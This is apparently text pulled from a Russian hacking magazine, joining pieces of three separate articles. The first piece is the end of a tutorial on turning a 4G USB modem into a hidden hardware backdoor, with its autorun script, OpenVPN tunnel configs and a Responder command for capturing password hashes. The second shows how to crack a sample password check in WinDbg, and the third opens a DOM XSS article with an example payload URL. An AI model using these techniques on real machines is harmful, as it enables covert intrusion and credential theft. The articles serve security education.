killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE
chmod 700 /data/autorun.sh 

Так же на модеме зап рещен выход в 4G-интернет с ПК и прик рыта
веб-админка. Теперь модем пол ностью «заряжен» и готов к исполь зованию
в качес тве аппа рат ной зак ладки.

ÇÀÊÐÅÏËÅÍÈÅ

В резуль тате аппа рат ный бэк дор может выг лядеть при мер но так.

Под клю чение аппа рат ной зак ладки к ПК

Дос таточ но неп римет но, не прав да ли? Прос то какая-то боль шая флеш ка,
подума ет рядовой поль зователь. Если у зло умыш ленни ка есть воз можность
доб рать ся до USB-пор та компь юте ра, то мало кто сра зу заметит столь
«стран ное» устрой ство. Это обес печит потен циаль ному зло умыш ленни ку
дли тель ный сетевой дос туп к цели по авто ном ному каналу. Заметь, что тут
исполь зует ся имен но сто рон ний канал для уда лен ного под клю чения, так что
боль ше не тре бует ся выход в интернет из внут ренней сети. Канал мобиль ной
сети пре дос тавля ет зло умыш ленни ку гаран тирован ный уда лен ный дос туп.

По луче ние сетево го дос тупа к ПК через аппа рат ную зак ладку

Те лефон и LAN Turtle под клю чены к одно му и тому же сер веру VPN, который
свя зыва ет их сетевой тра фик. 4G-модем перенас тро ен так, что бы про пус кать
тра фик в нехарак терном обратном нап равле нии — через себя в сто рону
компь юте ра, подоб но шлю зу. Даже на рас сто янии тысяч километ ров у зло- 
умыш ленни ка будет пря мой сетевой дос туп к ском про мети рован ной машине.

В пред став ленном при мере телефон и ноут бук никак не свя заны нап рямую
и работа ют в раз ных сетях. Ноут бук — в локаль ной сети по про воду
без интерне та, а телефон — по 4G. Но пос ле добав ления мар шру та до компь- 
юте ра жер твы через 4G-модем телефон ата кующе го получа ет уда лен ный
дос туп к ПК.

L2-ÄÎÑÒÓÏ

По доб ный спо соб зак репле ния дает сетевой дос туп толь ко до машины,
к которой под клю чен модем. Даль нейшие дей ствия ата кующе го соп ряжены
с необ ходимостью получить логичес кий дос туп, то есть взло мать сис тему
и управлять ей. В слу чае успе ха это дает как кон троль над самим компь юте- 
ром, так и воз можность идти даль ше — вглубь локаль ной сети. Что бы ата- 
ковать целевую сис тему было про ще, может пот ребовать ся орга низо вать
более близ кий к цели L2VPN-тун нель.

Не обхо димо проб росить еще один VPN-тун нель внут ри уже име юще гося.
Если пер вый VPN исполь зовал ся исклю читель но для свя зи с устрой ством

, то вто рой дает мак сималь но воз можный сетевой дос туп
до компь юте ра через эму лиро ван ную по USB сеть.
lan_turtle

Для это го внут ри USB-модема нуж но выпол нить еще нес коль ко команд,
которые соз дадут VPN-тун нель и помес тят ново испе чен ный вир туаль ный
интерфейс в сетевой мост с USB-интерфей сом:

./openvpn --config l2.ovpn --route-noexec
brctl addif br0 tap1 
ifconfig tap1 0 

Здесь кон фигура цион ный файл может быть соз дан пря мо внут ри модема
при мер но со сле дующим содер жимым:

l2.ovpn
lclient 
proto tcp 
dev tap 

remote 172.16.0.10 1194 

<ca> 
</ca> 

<cert> 
</cert> 

<key> 
</key> 

keepalive 10 60 

persist-key 
persist-tun 

L2VPN-интерфейс будет иметь IP-адрес, который на самом деле не нужен,
пос коль ку уже работа ет OpenVPN. Но его мож но сбро сить, пос ле чего прос то
помес тить интерфейс в мост. В резуль тате в VPN-интерфейс пой дут L2-
пакеты от ском про мети рован ной машины. И ата кующий не прос то получит
логичес кий сетевой дос туп до целево го ПК, он будет видеть его, слов но вот- 
кнул ся в ПК прос тым интернет-кабелем.

На сто роне ата кующе го тре бует ся лишь под клю чить ся к модему и соз дать
VPN-тун нель, пос ле чего вруч ную выс тавить ему IP-адрес из под сети сетево- 
го адап тера компь юте ра жер твы:

sudo openvpn --config lan_turtle.ovpn --route-noexec
sudo ifconfig tap0 192.168.8.200/24 

Кон фигура цион ный файл для под клю чения к lan_turtle, что бы открыть L2VPN-
тун нель, выг лядит так:

lan_turtle.ovpn
local 172.16.0.10 
port 1194 
proto tcp 
dev tap 

user nobody 

<ca> 
</ca> 

<cert> 
</cert> 

<key> 
</key> 

<dh> 
</dh> 

server 192.168.9.0 255.255.255.0 

keepalive 10 180 
verb 3 

Те перь зло умыш ленник получит мак сималь но пол ный сетевой дос туп к компь- 
юте ру через 4G-модем. L2-тун нель поз воля ет запус тить ата ки на про колы
каналь ного уров ня, а так же на NetBIOS с помощью Responder и получить хеш
пароля поль зовате ля:

   responder -I tap0 -r -d -w -F

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Пос коль ку зак репля ется зло умыш ленник через USB-порт, меры про тиво дей- 
ствия такие же, что и в слу чае с BadUSB:

ис поль зовать спе циали зиро ван ные прог рам мные решения, что бы бло- 
киро вать недове рен ные USB-устрой ства;

•

от клю чить под дер жку сетевых карт USB в груп повых полити ках;•
ре гуляр но осматри вать компь юте ры;•
кон тро лиро вать физичес кий дос туп к ПК.•

На этом всё, встре тим ся в сле дующей час ти цик ла!

mailto:s0i37@ya.ru
https://xakep.ru/author/s0i37/
https://xakep.ru/2023/02/22/badusb-eth/
https://4pda.to/forum/index.php?showtopic=1007632&st=120
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ВЗЛОМ

По мимо дизас сем бли рова ния, сущес тву ет и дру гой спо соб
иссле дова ния прог рамм — отладка. Изна чаль но
под отладкой понима лось пошаго вое исполне ние кода, так- 
же называ емое трас сиров кой. Сегод ня же прог раммы рас- 
пухли нас толь ко, что трас сировать их бес смыс ленно — мы
момен таль но уто нем в ому те вло жен ных про цедур, так и не
поняв, что они, собс твен но, дела ют. Отладчик не луч шее
средс тво изу чения алго рит ма прог раммы — с этим
эффектив нее справ ляет ся инте рак тивный дизас сем блер
(нап ример, IDA).

«Фундаментальные основы хакерства»

Пе ред тобой уже во вто рой раз обновлен ная вер сия статьи «Зна комс тво
с отладчи ком» (пер вое обновле ние  в 2018 году в рам ках цик ла
«Фун дамен таль ные осно вы хакерс тва»). В прош лый раз текст Кри са Кас пер- 
ски был переде лан для соот ветс твия новым вер сиям Windows и Visual Studio,
а теперь обновлен с уче том отладки прог рамм для 64-раз рядной архи тек- 
туры. Читай так же обновлен ную  серии. Обе статьи дос тупны
без плат ной под писки.

пуб ликова лось

пер вую статью

Цикл «Фун дамен таль ные осно вы хакерс тва» с «апгрей дом» пер вых глав
до x86-64 опуб ликован в виде кни ги,  ее ты можешь на сай те изда тель- 
ства «Солон-пресс».

ку пить

Ñïîñîáíîñòè îòëàä÷èêîâ
Пер вым делом надо разоб рать ся в переч не основных фун кци ональ ных воз- 
можнос тей типовых отладчи ков (без это го невоз можно их осмыслен ное при- 
мене ние):

от сле жива ние обра щений на запись, чте ние и исполне ние к задан ной
ячей ке (реги ону) памяти, далее по тек сту име нуемое бря ком (брей ком);

•

от сле жива ние обра щений на запись и чте ние к пор там вво да-вывода (уже
неак туаль но для сов ремен ных опе раци онных сис тем, зап реща ющих поль- 
зователь ским при ложе ниям про делы вать такие трю ки, — это теперь пре- 
рога тива драй веров, а на уров не драй веров реали зова ны очень нем ногие
защиты);

•

от сле жива ние заг рузки DLL и вызова из них таких-то фун кций, вклю чая
сис темные ком понен ты (как мы уви дим далее, это основное ору жие сов-
ремен ного взлом щика);

•

от сле жива ние вызова прог рам мных и аппа рат ных пре рыва ний (боль шей
частью уже неак туаль но — не так мно го защит балу ется с пре рыва ниями);

•

от сле жива ние сооб щений, посыла емых при ложе нием окну;•
и, разуме ется, кон текс тный поиск в памяти.•

Как имен но это дела ет отладчик, пока знать необя затель но, дос таточ но
знать, что он это уме ет, и все. Куда акту аль нее воп рос, какой отладчик уме ет
это делать.

Ãåðîè ïðîøëîãî
В прош лом в качес тве отладчи ка хакеры исполь зовали широко извес тный
SoftICE. Это был дей стви тель но мощ ный инс тру мент, и даже по про шес твии
мно гих лет луч ше него ничего не было изоб ретено. Неос поримым его пре- 
иму щес твом была воз можность отладки ядра Windows с помощью одно го
компь юте ра. Меж ду тем, не без дав ления Microsoft, в 2006 году его раз работ- 
ка была прек ращена. А пос коль ку SoftICE очень силь но зависел от опе раци- 
онной сис темы Windows, в более поз дних ее вер сиях он прос то не работа ет.
Пос ледней вер сией Windows, в которой мож но поль зовать ся SoftICE, была
Windows XP SP 2. В SP 3 он уже не фун кци они ровал, а в Vista и Windows
7 и подав но.

SoftICE

Ха керы, конеч но, при уны ли, но не ста ли посыпать голову пеп лом, а начали
изоб ретать аль тер натив ные отладчи ки. Пос ледова ла эпо ха рас цве та новых
отладчи ков. Но какая кар тина на этом поле сей час? Нет ни одно го нового
хороше го отладчи ка! Передо вым сре ди всех был ком мерчес кий Syser китай- 
ских раз работ чиков. Ему про рочи ли свет лое будущее, воз можность заменить
SoftICE, но где он сей час? Может быть, пара копий сох ранилась где-то
на фай ловых свал ках, но он дав но не раз вива ется.

Syser

Сей час по боль шому сче ту у хакера есть выбор толь ко из двух по-нас тояще му
год ных отладчи ков: WinDbg и x64dbg. Пос ледний годит ся лишь для иссле- 
дова ния при ложе ний поль зователь ско го режима, тог да как с помощью
WinDbg мож но занимать ся и ядер ной отладкой Windows. Но в этом слу чае
при дет ся исполь зовать два компь юте ра, объ еди нен ных про водом или по
локаль ной сети.

Ñîâðåìåííûé èíñòðóìåíò êîäîêîïàòåëÿ
Ког да-то хакеры пре неб регали WinDbg, но со вре менем он вырос и стал дей- 
стви тель но мощ ным и полез ным инс тру мен том иссле дова ния кода. Не сто ит
забывать, что имен но он исполь зует ся коман дой раз работ ки Windows.
Для него мож но изго тав ливать рас ширения путем под клю чаемых DLL.
Начиная с Windows XP, дви жок отладки вклю чен непос редс твен но в опе раци- 
онную сис тему. Он сос тоит из двух DLL:  и . Кро ме
непос редс твен но средств отладки, в чис ло которых вхо дит сам WinDbg, его
дви жок исполь зует ся в том чис ле «Док тором Ват соном» ( ).

dbgeng.dll dbghelp.dll

drwtsn32.exe
Средс тво отладки для Windows сос тоит из четырех при ложе ний, исполь- 

зующих :dbgeng.dll
 и  — отладчи ки поль зователь ско го режима с кон соль ным

интерфей сом. Они раз лича ются толь ко одним: при запус ке из сущес тву- 
юще го кон соль ного окна ntsd откры вает новое кон соль ное окно, a cdb
это го не дела ет;

• cdb ntsd

 — отладчик режима ядра с кон соль ным интерфей сом;• kd

 может исполь зовать ся как отладчик поль зователь ско го режима
либо режима ядра, но не одновре мен но. У WinDbg есть гра фичес кий
интерфейс.

• WinDbg

Сле дова тель но, WinDbg пред став ляет собой толь ко обо лоч ку для отладки
с помощью движ ка.

Вспо мога тель ный файл  исполь зует ся внеш ними тул зами
для иссле дова ния внут реннос тей Windows, нап ример отладчи ком OllyDbg,
прог раммой Process Explorer за авторс твом Мар ка Рус синови ча и про чими.

dbghelp.dll

У WinDbg есть две вер сии: клас сичес кая и UWP. Пер вая уста нав лива ется
вмес те с набором тулз Debugging Tools for Windows. Этот набор содер жит две
вер сии WinDbg. Одна пред назна чена для отладки 32-раз рядных при ложе ний,
дру гая — 64-раз рядных. Вер сию UWP мож но ска чать из Windows Store, она
име ет толь ко 32-бит ную вер сию. Обе 32-раз рядные вер сии абсо лют но рав- 
ноцен ны, не счи тая того, что в UWP прод винутый поль зователь ский
интерфейс Windows 10. Кста ти, весь ма удоб ный при работе на боль шом
экра не.

Для наших экспе римен тов я буду при менять UWP-вер сию. Раз ницы в их
исполь зовании прак тичес ки нет, могут раз ве что нем ного раз личать ся коман- 
ды в поль зователь ском интерфей се, имен но над писи на эле мен тах
интерфей са, но не коман ды встро енно го язы ка.

Ñïîñîá 0. Áðÿê íà îðèãèíàëüíûé ïàðîëü
С помощью WinDbg заг рузим лома емый нами файл —  —
через пункт меню Launch Executable или Open Executable в клас сичес ком при- 
ложе нии. В даль нейшем я не буду при водить ана логи команд.

passCompare1.exe

WWW

 мож но ска чать с GitHub.Фай лы с при мера ми

Сра зу пос ле откры тия исполня емо го фай ла WinDbg заг рузит при ложе ние,
в окне Disassembly отладчи ка появят ся дизас сем бли рован ные коман ды, а в
окне Command отоб разят ся резуль таты их выпол нения.

Пос ле соз дания окна при ложе ния еще до вывода каких-либо дан ных
выпол нение тут же пре рыва ется на инс трук ции  — это прог рам мная
точ ка оста нова. Час то нович ки счи тают, что выпол нение прог раммы начина- 
ется с фун кции  или . Это му их учат в шко ле, либо они сами чер- 
пают такие све дения из учеб ников по C/C++. Конеч но, это неп равда.

int 3

main WinMain

Преж де чем попасть в фун кцию  кон крет ного при ложе ния, про цес сор
зарыва ется в деб ри сис темно го кода заг рузчи ка обра зов, выпол няет горы
инс трук ций ини циали зации при ложе ния внут ри Windows, под клю чения биб- 
лиотек и про чего. Поэто му про изо шед ший бряк не озна чает вход в 
нашей прог раммы. Если взгля нуть в окош ко дизас сем бле ра, мы уви дим, что
пре рыва ние про изош ло в сис темной фун кции  модуля

.

main

main

LdrpDoDebuggerBreak
ntdll

Пер вым делом заг рузим отла доч ную информа цию для ком понен тов опе- 
раци онной сис темы. Для это го в коман дную стро ку вве дем

.symfix d:\debugSymbols 

Эта коман да опре деля ет пап ку, ука зан ную в парамет ре, куда отладчик
при необ ходимос ти заг рузит отла доч ные сим волы для под систем Windows.
Затем надо отпра вить коман ду для заг рузки или обновле ния фай лов:

.reload 

Пос ле это го WinDbg заг рузит нуж ные дан ные с сер веров Microsoft.
Кро ме того, мож но вос поль зовать ся уже име ющей ся отла доч ной

информа цией, для это го сущес тву ет коман да 
. Если файл с отла доч ными сим волами находит ся в одной пап ке

с исполня емым фай лом, он под хва тит ся авто мати чес ки. Еще мож но исполь- 
зовать фай лы исходно го кода, но в таком слу чае про ще вос поль зовать ся
отладчи ком, вхо дящим в сре ду раз работ ки.

.sympath+ <путь к 
директории>

Да вай поп робу ем нат равить отладчик на дебаж ную вер сию 
и при дос тижении пер вой точ ки оста нова пос тавим бряк на фун кцию :

passCompare1
main

bp passCompare1!main 

Те перь про дол жим выпол нение коман дой . Ког да отладчик дос тигнет пос- 
тавлен ной точ ки оста нова (начало фун кции ), в окне дизас сем бле ра уви- 
дим, что лис тинг раз делен на сег менты, в заголов ке которых находят ся име на
фун кций, в час тнос ти .

g
main

main
В релиз ной вер сии исполня емо го фай ла это го не будет. Если же мы пос- 

тавим точ ку оста нова по адре су начала модуля и при бавим адрес точ ки вхо- 
да, то мы попадем не в начало фун кции , а в сис темный заг рузчик — фун- 
кцию , под готов ленную ком пилято ром.

main
mainCRTStartup

Кро ме Microsoft, мало кто пре дос тавля ет отла доч ные сим волы, не будем
при выкать к лег кой жиз ни, тем более WinDbg спе циаль но пред назна чен
для отладки прог рамм без отла доч ной информа ции и исходно го кода. Будем
при менять его по наз начению! Меж ду тем, если приг лядеть ся к окош ку дизас- 
сем бле ра пов ниматель нее, мож но заметить, что в отли чие от дизас сем бле ра

, который мы исполь зовали в прош лой статье, WinDbg рас позна ет
име на сис темных фун кций, чем сущес твен но упро щает ана лиз.
dumpbin

WinDbg рас позна ет име на сис темных фун кций

Точ ки оста нова могут быть двух типов: прог рам мные и аппа рат ные. С пер- 
выми мы уже встре чались. В прог рамме их может быть любое количес тво.
Для сво ей работы они модифи циру ют память исполня емо го про цес са, то
есть в том мес те, где дол жен сто ять бряк, отладчик запоми нает ассем блер- 
ную инс трук цию и заменя ет ее . Из-за того что прог рам мная точ ка оста- 
нова изме няет память, ее мож но уста новить не вез де. В этом зак люча ется ее
основной недос таток. Глав ной коман дой для уста нов ки прог рам мной точ ки
оста нова явля ется . Для получе ния спис ка уста нов ленных точек слу жит
коман да , а для уда ления — коман да , парамет ром которой явля ется
индекс точ ки оста нова. Звез дочка в качес тве парамет ра уда ляет все бря ки.
Коман ды  и , соот ветс твен но, вклю чают и вык люча ют брейк-пой нты.

int 3

bp
bl bc

be bd
Ко личес тво аппа рат ных точек оста нова, незави симо от раз ряднос ти про- 

цес сора, всег да четыре. Хотя в про цес соре при сутс тву ют восемь регис тров
отладки (DR-0 — DR-7), толь ко пер вые четыре могут быть исполь зованы
для хра нения адре сов точек оста нова. Аппа рат ные бря ки могут ста вить ся
в любое мес то памяти про цес са. Таким обра зом, они лишены недос татка
прог рам мных бря ков. Осталь ные регис тры пред назна чены для хра нения
усло вий дос тупа — сра баты вания точек оста нова, нап ример чте ние, запись,
исполне ние. Малое количес тво — основной недос таток аппа рат ных бря ков.
Для уста нов ки аппа рат ной точ ки оста нова исполь зует ся коман да  с тре мя
парамет рами: тип дос тупа, раз мер и адрес.

ba

Итак, мы рас смот рели неболь шой спи сок команд внут ренне го язы ка
отладчи ка WinDbg. Навер няка ты обра тил вни мание на их запись. В язы ке
отладчи ка при сутс тву ют три вида команд:

встро енные коман ды слу жат для отладки про цес са и записы вают ся
без лидиру юще го сим вола, к таким коман дам отно сят ся , , ;

•
g bp bd

ме тако ман ды управля ют работой отладчи ка, перед ними ста вит ся сим вол
точ ки, нап ример: , , ;

•
.reload .symfix .cls

ко ман ды-рас ширения, заг ружа емые из внеш них DLL, име ют в начале сим- 
вол вос кли цатель ного зна ка, нап ример: , .

•
!heap !dh

Ïîèñê àäðåñà
Да вай поп робу ем нас коро най ти защит ный механизм и, не вни кая в под- 
робнос ти его фун кци они рова ния, нап рочь отру бить защиту. Вспом ним,
по какому адре су рас положен в памяти ори гиналь ный пароль. Заг лянем
в дамп сек ции , где хра нит ся пароль. Исходный пароль

 находит ся по сме щению . Поп робу ем вывес ти
находя щиеся по это му адре су в памяти дан ные:

.rdata
myGOODpassword 0x140002280

dc 0x140002280 

Су щес тву ет боль шое количес тво команд для отоб ражения содер жимого
памяти: , ,  и про чие. Мы исполь зовали , потому что она показы вает
зна чения двой ных слов и ASCII-сим волы. Что мы видим? Неини циали зиро- 
ван ные дан ные.

da db dd dc

Рань ше (до Windows Vista) кодоко пате лям было про ще. Windows заг ружала
обра зы в вир туаль ную память по опре делен ному при ком пиляции адре су.
В этом лег ко убе дить ся: запус тим при ложе ние в Windows XP, затем
при помощи того же SoftICE узна ем адре са сек ций (коман да )
и выпишем их. Пос ле перезаг рузки сис темы и пов торно го запус ка при ложе- 
ния уви дим, что они оста нут ся неиз менны ми.

mod -u

На чиная с Windows Vista, прог раммы пос ле переза пус ка сис темы получа ют
слу чай ные адре са, а не те, что опре деле ны при ком пиляции. Поэто му нам
при дет ся самим искать сек цию  уже не на дис ке, а в памяти. Лег ко ска- 
зать, но сде лать еще про ще!

.rdata

Най дем, по какому адре су рас положен наш модуль в памяти. Для это го
в отладчи ке вве дем . Вто рой параметр — имя модуля,
адрес которо го надо опре делить. В резуль тате на сво ем ком пе я получил:

lmf m passcompare1

start             end                 module name 
00007ff7`159b0000 00007ff7`159b8000   passCompare1 passCompare1.exe 

От сюда сле дует, что начало модуля находит ся по адре су .
Пос ле каж дой перезаг рузки сис темы модуль кон крет ного при ложе ния про- 
еци рует ся в раз личные адре са. Теперь выведем кар ту памяти нашего модуля
и получим све дения обо всех сек циях PE-фай ла:

0x7ff7159b0000

!dh passCompare1 

Вы вод коман ды доволь но объ емный.  — в некото ром роде ана лог коман- 
ды  из SoftICE, при этом пер вая пре дос тавля ет боль ше све дений. Най- 
дем в выводе опи сание целевой сек ции :

!dh
map32

.rdata

SECTION HEADER #2 
 .rdata name 
   101C virtual size 
   2000 virtual address 
   1200 size of raw data 
   1400 file pointer to raw data 
      0 file pointer to relocation table 
      0 file pointer to line numbers 
      0 number of relocations 
      0 number of line numbers 
40000040 flags 
        Initialized Data 
        (no align specified)
        Read Only 

Здесь нас инте ресу ет чет вертая строч ка — вир туаль ный адрес. Сле дом мож- 
но най ти, где в памяти рас полага ется , для это го надо сло жить началь- 
ный адрес модуля и вир туаль ный адрес сек ции. Пос мотрим, что там находит- 
ся:

.rdata

dc 0x7ff7159b0000 + 2000 

Уже теп лее, чита емые сим волы. Прой дем глуб же в сек цию и рас печата ем
диапа зон адре сов:

dc 0x7ff7159b2000 0x7ff7159b2300 

А вот и наш пароль по адре су ! Дамп памяти про цес са:0x7ff7159b2280

00007ff7`159b2250  159b4040 00007ff7 159b40e0 
00007ff7  @@.......@...... 
00007ff7`159b2260  ffffffff ffffffff ffffffff 
ffffffff  ................ 
00007ff7`159b2270  65746e45 61702072 6f777373 003a6472  Enter 
password:. 
00007ff7`159b2280  4f47796d 6170444f 6f777373 000a6472  
myGOODpassword..
00007ff7`159b2290  6e6f7257 61702067 6f777373 000a6472  Wrong 
password.. 
00007ff7`159b22a0  73736150 64726f77 0a4b4f20 00000000  Password 
OK..... 
00007ff7`159b22b0  00000140 00000000 00000000 
00000000  @............... 

Най ден ный адрес

Есть кон такт! Задума емся еще раз. Что бы про верить кор рек тность вве ден- 
ного поль зовате лем пароля, защита, оче вид но, дол жна срав нить его с ори- 
гиналь ным. А раз так, уста новив точ ку оста нова на чте нии памяти по адре су

, мы пой маем за хвост срав нива ющий механизм. Ска зано —
сде лано.
0x7ff7159b2280

Пос тавим аппа рат ный бряк, он же бряк по дос тупу (break on access), так
как при прог рам мном будет ошиб ка дос тупа к памяти, воз ника ющая по при- 
чине попыт ки записи в сек цию, дос тупную толь ко для чте ния, какой .rdata
и явля ется. А прог рам мно му бря ку надо модифи циро вать память.

ba r4 0x7ff7159b2280 

Пер вый параметр — тип дос тупа:  — чте ние; вто рой параметр — количес тво
бай тов, под верга емых опе рации; пос ледний параметр — адрес.

r

По коман де  про дол жим отладку и вве дем любой при шед ший на ум
пароль, нап ример . Отладчик незамед литель но «всплы вет» в биб- 
лиотеч ной фун кции срав нения строк :

g
KPNC++

strcmp

00007ffb`5d375670 488b01               mov     rax, qword ptr [rcx] 
00007ffb`5d375673 483b040a             cmp     rax, qword 
ptr [rdx+rcx] 
00007ffb`5d375677 75bf                 jne     
ucrtbase!strcmp+0x8 (7ffb5d375638) 
00007ffb`5d375679 4e8d0c10             lea     r9, [rax+r10] 
00007ffb`5d37567d 48f7d0               not     rax 

В силу архи тек турных осо бен ностей про цес соров Intel бряк сра баты вает пос- 
ле инс трук ции, выпол нившей «попол зно вение», то есть RIP ука зыва ют на сле- 
дующую выпол няемую коман ду. В нашем слу чае (выделен ная стро ка) — 

, а к памяти, ста ло быть, обра тилась инс трук ция 
. А что находит ся в ? Под нима ем взгляд

еще стро кой выше — . Мож но пред положить, что
RCX содер жит ука затель на стро ку ори гиналь ного пароля (пос коль ку он выз- 
вал всплы тие отладчи ка), но не будем спе шить с вывода ми, в срав нении
еще при сутс тву ет ука затель . Куда ука зыва ет он? Про верить это в
отладчи ке про ще прос того. Сна чала про верим, куда ука зыва ет :

jne 
ucrtbase!strcmp+0x8 cmp
rax, qword ptr [rdx+rcx] RAX

mov rax, qword ptr [rcx]

[rdx+rcx]
RCX

0:000> dc rcx 
00000093`bf5cfbd0  434e504b 000a2b2b 00000000 00000000  
KPNC++..........

Ока зыва ется, RCX ука зыва ет на вве ден ный поль зовате лем пароль! А куда
ука зыва ет вто рой ука затель?

0:000> dc [rdx+rcx] 
00007ff7`159b2280  4f47796d 6170444f 6f777373 000a6472  
myGOODpassword..

Здесь как раз при таил ся ори гиналь ный пароль! Кар тина начина ет при обре- 
тать очер тания.

Те перь воп рос: а как это заломить? Вот, ска жем,  мож но поменять
на . Или еще ори гиналь нее — заменить  . Тог да ори гиналь- 
ный пароль будет срав нивать ся сам с собой!

JNE
JE RCX [RDX+RCX]

Вый дем из текущей фун кции, для это го надо два раза нажать кноп ку Step
Out в отладчи ке. В резуль тате мы ока жем ся в фун кции , сра зу пос ле
срав нения строк:

main

0007ff7`159b10b2 488d15c7110000     lea     
rdx, [passCompare1!`string' (7ff7159b2280)] 
00007ff7`159b10b9 488d4c2420        lea     
rcx, [buff{[0]} (rsp+20h)] 
00007ff7`159b10be e88c0d0000        call    
passCompare1!strcmp (7ff7159b1e4f) 
00007ff7`159b10c3 85c0              test    eax, eax 
00007ff7`159b10c5 7458              je      
passCompare1!main+0xaf (7ff7159b111f) 

В пер вой строч ке при веден ного лис тинга в регистр  записы вает ся ука- 
затель на эта лон ный пароль. Что бы про верить это, выпол ни коман ду 

. Во вто рой строч ке в регистр  помеща ется ука затель
на содер жимое стро ково го буфера, в который записы вает ся вве ден ный
поль зовате лем пароль. Пос ле вызова  сле дует , про веря ющий
на ноль регистр . Зна комые мес та! Пом нишь, мы посеща ли их дизас сем- 
бле ром? Далее сле дует , совер шающий пры жок на осно ве пре дыду щего
усло вия.

RDX
dc 

7ff7159b2280 RCX

strcmp test
EAX

JE

Ал горитм дей ствий преж ний — запоми наем адрес коман ды  для пос- 
леду ющей замены ее на  или записы ваем пос ледова тель ность бай тов.

TEST
XOR

По годи! Не сто ит так спе шить! Мож но ли быть уве рен ным, что эти бай тики
по этим самым адре сам будут находить ся в исполня емом фай ле? В Windows
XP и вер сиях до нее на это в подав ляющем боль шинс тве слу чаев мож но было
хотя бы наде ять ся, но про вер ка не была лиш ней. Хотя сис темный заг рузчик
раз мещал модули по заранее опре делен ным адре сам, сущес тво вали хит рые
защит ные механиз мы, заг ружав шие один и тот же модуль по двум раз ным
адре сам одновре мен но. В Windows 10 такой трюк не про каты вает, вин да
видит, что это один и тот же модуль, и раз меща ет его в памяти лишь еди нож- 
ды.

Тем не менее в Windows 10 мы даже не можем наде ять ся, что находя- 
щиеся по опре делен ным адре сам бай ты, най ден ные в памяти с помощью
отладчи ка, будут по тем же адре сам находить ся в фай ле на дис ке. Ког да
прог рамма выпол няет ся, все ее сек ции про еци руют ся в адресное прос транс- 
тво вир туаль ной памяти, которое кар диналь но отли чает ся от началь ной.
В Vista и пос леду ющих сис темах в дело всту пает механизм ASLR (Address
Space Layout Randomization), который, исполь зуя MMU (Memory Management
Unit), слу чай ным обра зом изме няет рас положе ние в адресном прос транс тве
про цес са важ ных струк тур дан ных. ASLR в некото рых слу чаях впол не успешно
борет ся с перепол нени ем буфера, воз вра том в биб лиоте ку и дру гими типами
атак.
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ВЗЛОМ

Не дав но я обна ружил новую для себя раз- 
новид ность XSS-уяз вимос тей — DOM XSS
с помощью Web Messaging. Перечи тав мно- 
жес тво стра ниц докумен тации, я решил
соз дать еди ный матери ал по экс плу ата ции
XSS через эту тех нологию. Я опи шу здесь
наибо лее рас простра нен ные недос татки
безопас ности и методы их экс плу ата ции.

×ÒÎ ÒÀÊÎÅ DOM?

DOM (Document Object Model) — не завися щий от плат формы и язы ка прог- 
рам мный интерфейс, который поз воля ет прог раммам и скрип там получать
дос туп к содер жимому HTML-, XHTML-, XML-докумен тов, а так же изме нять их
кон тент (содер жимое, струк туру, офор мле ние). DOM-based-уяз вимос ти воз- 
ника ют, ког да веб-сайт содер жит сце нарий, который при нима ет кон тро лиру- 
емое зло умыш ленни ком зна чение и переда ет его небезо пас ной фун кции,
называ емой sink. Один из видов DOM-based-уяз вимос тей — DOM-based
XSS. Уяз вимос ти это го типа воз ника ют, ког да JavaScript получа ет дан ные
от поль зовате ля и переда ет их в sink, обла дающий воз можностью динами чес- 
кого исполне ния кода, нап ример ,  или .eval() document.write() innerHTML

ÊÀÊ ÝÊÑÏËÓÀÒÈÐÓÞÒÑß DOM-BASED XSS?

На ибо лее популяр ный источник DOM XSS — URL-стра ницы. Дос туп к это му
зна чению осу щест вля ется с помощью JavaScript через объ ект 

. Затем URL обра баты вает ся внут ри сущес тву юще го на стра нице
легитим ного скрип та. В этом слу чае ата кующий может соз дать ссыл ку с вре- 
донос ной наг рузкой, что бы затем отпра вить ее жер тве. Ког да жер тва перей- 
дет по ссыл ке, исходный скрипт на стра нице, исполь зующий объ ект 

, зап росит адрес текущей стра ницы и исполнит наг рузку, которая
содер жится в URL. Вот прос тей ший при мер этой уяз вимос ти.

window.
location

window.
location

<body>
<script>document.write(location.href);</script>
</body>

При получе нии такой стра ницы бра узер авто мати чес ки выпол нит скрипт
и запишет в тело стра ницы ( ) стро ку, взяв ее зна чение
из  (пол ного адре са стра ницы). Одна ко поль зователь кон тро- 
лиру ет зна чение  и может помес тить в него про изволь ную
стро ку. Поэто му для экс плу ата ции XSS-уяз вимос ти дос таточ но сфор мировать
сле дующую ссыл ку, и при ее откры тии в бра узе ре выпол нится вре донос ный
скрипт.

document.write
location.href

location.href

http://website.com/index.html#<script>alert(1)</script> 

ÌÅÕÀÍÈÇÌÛ ÁÅÇÎÏÀÑÍÎÑÒÈ ÊÐÎÑÑ-ÄÎÌÅÍÍÎÃÎ
ÂÇÀÈÌÎÄÅÉÑÒÂÈß

Пред ста вим, что у нас есть стра ница сай та, который мы раз работа ли. Мы
помеща ем на нее эле мент  и ука зыва ем в качес тве его источни ка
про изволь ный сайт.

<iframe>

Прин ципи аль ная схе ма iframe

Ес ли бы не было механиз мов безопас ности, обмен дан ными меж ду эле мен- 
тами родитель ской веб-стра ницы и веб-стра ницы, которая отоб ража ется в 

, мог бы быть кри тичес ки опас ным для поль зователь ских дан ных.
Любой скрипт, находя щий ся на родитель ской стра нице, мог бы получить дос- 
туп к любым дан ным, раз мещен ным внут ри .

<
iframe>

<iframe>
Да вай рас смот рим на при мере. Зло умыш ленник помеща ет на сво ей стра- 

нице  с адре сом интернет-бан ка, в котором поль зователь был авто- 
ризо ван ранее. Затем каким-то обра зом замани вает жер тву на свою стра- 
ницу. В резуль тате зло умыш ленник может получить дос туп к любым поль- 
зователь ским дан ным лич ного кабине та интернет-бан ка жер твы. Что бы
не допус тить подоб ного, были соз даны два механиз ма защиты:

<iframe>

1. Same Origin Policy (SOP), «полити ка оди нако вого источни ка», — пре дот- 
вра щает кросс-домен ные ата ки, бло кируя чте ние заг ружа емых ресур сов
из дру гого источни ка. Источник иден тифици рует ся по сле дующей трой ке
парамет ров: схе ма, пол ное имя хос та и порт. Ког да хотя бы один
